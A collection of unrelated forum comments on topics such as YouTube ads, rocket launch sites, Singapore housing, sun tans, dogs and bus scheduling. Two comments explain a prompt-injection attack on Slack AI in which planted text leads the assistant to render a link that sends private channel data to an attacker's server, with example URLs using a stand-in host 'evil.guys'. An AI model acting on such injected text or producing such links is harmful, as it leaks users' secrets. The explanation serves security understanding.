I mostly use Youtube to watch home improvement / DIY / construction related stuff. They show me ads in Spanish. I'm probably the most stereotypical American white dude in Finance that speaks only English.

We collect a very small amount of analytics (with zero PII attached) which gives us an idea of what people use or don't use. That helps us know where best to spend our time.

Launching from the Equator, Eastward, is the most energy efficient way to get to orbit, but not everybody is after equatorial orbits or geostationary orbits.

Lot of sats are for example spying sats, and these can use polar orbits (as the earth rotates under the sat, sat will at some point map the whole earth), or more fancy orbits that you can read about in this guide here:

Indeed this is true about almost anything we commonly put into our body: fat, protein, carbs, even water. But it gets a lot more clicks to claim that something is either always good or always bad.
The supremacy clause exists as does the interstate commerce clause. The existence of HUD is proof the the federal government has the ability and constitutional authority to cut through this red tape when so motivated.

I don’t think it is reasonable to take that at its face value. The are a lot of differences between the housing market in Singapore and US. For one, almost 80% of residents live in public housing and for a very long time, there were restrictions on the sale price of that house. Since the restrictions have been removed, Singapore has seen a spike in the housing prices. Which brings me to the second difference: Singapore is already very expensive to buy a house in as compared to the incomes, and home ownership rate has remained at around 90% since the 80s. So a 9.8% increase in home purchases is not that big of a number because the total home purchases remain low (only 2000 units were sold in Singapore in the first half of 2024). Understandably, the market prices won’t be impacted that much if 200 more units were sold. Other differences include: government building more housing regularly, tight control over population growth through immigration, etc.

California saw a 7.4% increase in median sale price when the number of purchase were down 8% in June of 2024. We shouldn’t be using what worked in Singapore as an indicator of what will work here. https://www.redfin.com/state/California/housing-market
perhaps my ignorance and my beginner level on the topic are biasing me, but in my experience, fine-tuning the GPT-3.5 turbo has elevated our operation to another level. When we put it into production, it became much faster, more accurate, and cheaper when compared to original gpt4. Our use case is to make unstructured data return a JSON with some key-value entities where the order matters.

I'd expect the button to light up at random times in a video about "smash the like button" causing the button to light up, rather than in the end call to action for the video where the video author actually wants the watcher to click the button.

Similarly, I doubt it can properly understand when the video presenter implies the term "smash the like button" while instead say, leaving an empty space where they would usually say such a thing.

If I pointed you at some french text and asked you to point at the term "le Chateau" you'd be able to do that without understanding french.

I've been meaning to do a deep dive on sun exposure, specification with respect to base tans. As I understand it, conventional wisdom is that base tans don't provide enough value to offset the risks, and that you should just use sunscreen any time you're in the sun.

Generally the way this is explained is that a base tan provides ~4 SPF of protection, which is far less than the recommended 15-30 SPF of sunscreens. I believe I read once that 4 SPF is only good for maybe 15 minutes of protection.

What I haven't seen explained (and what I want to learn) is how the body's "sun timer" resets. If I'm in the sun for 15 minutes and then go in the shade, how long does it take before I can spend another 15 minutes in the sun? If I'm hiking in a forest, I wouldn't be surprised if 15 minutes of protection is enough to completely avoid sunburn, since you're constantly going back and forth between sun and shade.

Another thing I want to clarify is mutation risk vs sunburn. Does a base tan protect you from mutations at all? I'm not actually sure.

I like the author's positive outlook on life. Because when I see a dog act like that, especially in a family where a child has taken focus, I mostly see a prisoner longing for freedom.

Me and my dog have been exclusive for almost a decade now. We have traveled across europe, always by my side. Off leash even, I have always wanted to give my dog the most freedom possible. To heck with human rules.

I've mostly worked remotely during my dog's entire life, so I've always been there, and we've always been able to take a long walk outside.

But at the end of the day we have to go home, and I have to fall asleep on the couch after dinner, and I have to work for hours and hours from home, or remote workspaces.

So even with all the freedom my dog enjoys, I still feel like it would want more. We have lived in houses with yards, and my dog has lazily spent every single moment outside, in the sun, in the grass. But I still feel like it's insufficient.

I have claimed this dog as mine, so it goes where I go, not where it wants to go.

If my dog could decide it would have probably died a harsh death in the streets a long time ago. But the dog doesn't understand that. I believe a dog values freedom more than its immediate personal safety.

The Norwegians have had a sounding rocket launch site at Andoya at 69N for decades- perfect for studying the sun- and are talking about trying to turn it into a sun-sync earth observing micro-satellite launch point.

I honestly don't know why the Germans are trying to turn an old Chain Home radar station in the Shetlands into an orbital rocket launch site. For sun-sync polar orbits, it doesn't really matter what latitude you launch from, you aren't getting any benefit anyway, but I wonder at exactly how many of these sun-sync earth observing satellites are going to be launched by the ESA or Europeans in general. This doesn't seem like a particularly large market to me.
Exactly the opposite. It sucks for intercity buses, cause there's no point. Bus stops are rare and buses don't "bunch up". It's essential for city buses.

This is how it works in every big city in Poland, it's working great. More cities started to use this system over time, because it improves the scheduling so much.

The point of city buses is that they drive in traffic anyway - they rarely drive over 50 km/h and they stop every 5 minutes. How regular they are is MUCH more important than how fast they drive.

If you skip 3 stops because nobody waited there - you get to the 4th bus stop 5 minutes too early and wait for 5 minutes there - potentially blocking the bus stop for others and wrecking havoc with the scheduling. Much better to split these 5 minutes between the bus stops where nobody is blocked.

It's like in gamedev - you don't want to optimize happy case cause you're making the situation WORSE. If your fastest frame takes 5 ms instead of 10 ms it changes nothing at best (and makes for more jerky movement at worst). If your longest frame takes 15 ms instead of 18 ms - it means you can keep consistent 60 FPS now - and that's a HUGE win.
Yep! MinusX uses Metabase APIs to pull relevant tables, schema, & dashboards to construct the context for your instruction.

Says you, but why? There are many workflows where this would be an unnecessary slow point in the user's work.

It's all about balance. If 99.9% of the time a non-instananeous operation will succeed, and the user has faith that it will succeed, leaving the modal up is a terrible UX. But quietly notifying them on success might not be.

The key thing to understand here is the exfiltration vector.

Slack can render Markdown links, where the URL is hidden behind the text of that link.

In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI as part of the context it has access to.

If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs.

Here's my attempt at explaining this attack: https://simonwillison.net/2024/Aug/20/data-exfiltration-from...
> I believe a dog values freedom more than its immediate personal safety.

Why do you believe that? Bear in mind that our domesticated dogs of today are very different from their wild ancestors (or from wolves, their closest wild relatives).
Normally, yes, that's just the confused deputy problem. This is an AI-assisted phishing attack.

You, the victim, query the AI for a secret thing.

The attacker has posted publicly (in a public channel where he is alone) a prompt-injection attack that has a link to exfiltrate the data. https://evil.guys?secret=my_super_secret_shit

The AI helpfully acts on your privileged info and takes the data from your secret channel and combines it with the data from the public channel and creates an innocuous looking message with a link https://evil.guys?secret=THE_ACTUAL_SECRET

You, the victim, click the link like a sucker and send evil.guys your secret. Nice one, mate. Shouldn't've clicked the link but you've gone and done it. If the thing can unfurl links that's even more risky but it doesn't look like it does. It does require user-interaction but it doesn't look like it's hard to do.

Who cares about "guilt". Pardon him, let the punishment end, let the technical "guilt" remain. Guilt only matters in legal systems more just than ours.

This is why I explicitly teach my children that the law is not a moral code. I want them to understand the consequences of breaking the law and act with an understanding of the consequences, but they should follow their own moral code.

I was thinking of this the other day reading about all the patent cases that end up in Texas because it's easy to get biased judges. There are empty offices that the legal system recognizes as the headquarters of hundreds of companies. The justice system cannot handle this abusive "hack", and in general justice is only available to those with several hundred thousand dollars to spare.

So again, why should anyone care whether or not such a system considers a person "guilty".
Dunno what year you were doing this, but all the buses that travel California Street at some point are bad about this and you are correct that it might as well be a d20.

The N Judah is usually on time or a little early, except going outbound between 6:30pm and 7:30pm. If you’re waiting for the F, you should mentally add 2 minutes to whatever time you see. The J Church going downtown becomes increasingly late the closer to downtown it actually gets (partly because it often loses the signal lottery with the N Judah since it gets stalled out at the Market Street intersection even if it was scheduled to go in ahead of time). When the L trains were running, it would always seem to depart from the Zoo-side terminus on time if you were waiting there, but if you were waiting up the street on Taraval, you could reliably add 5 to 10 minutes to your wait time.

Also at the Embarcadero, there can never be two working upwards escalators going from the MUNI platform to the eastern exits at the same time. It simply cannot happen. If one gets fixed, the other will break, even if it was just fixed a few days ago.

> willfully passing a law which you know to be unconstitutional

This is the sticking point. Do they know for a fact that it's unconstitutional? If they do then I agree they're in the wrong. My argument here is that they don't know it's unconstitutional, that they have some hope that it will manage to pass judicial review, or at least that judicial review will define the exact boundaries of how the constitution applies to the framing of this law and so they can come away with a modified law that goes right up to those boundaries.

All that said, it's a shitty law, and I'd rather get pissed at the lawmakers for attempting to pass this law because of what it's trying to do rather than arguments about constitutionality.
If you track the busses, this should be as easy as changing one bus to "bus full" and have the emptier bus behind it picking up the passengers for a while. That will speed up the fuller bus and slow down the bus behind it.

From a resource point of view, renting can be more efficient for things that are used infrequently. Fewer objects need to be created, the costs are in the transport to renters (cars, cameras, etc.) For things used all the time, renting fits certain usage patterns. You can't update a rental dwelling to your tastes, for example.
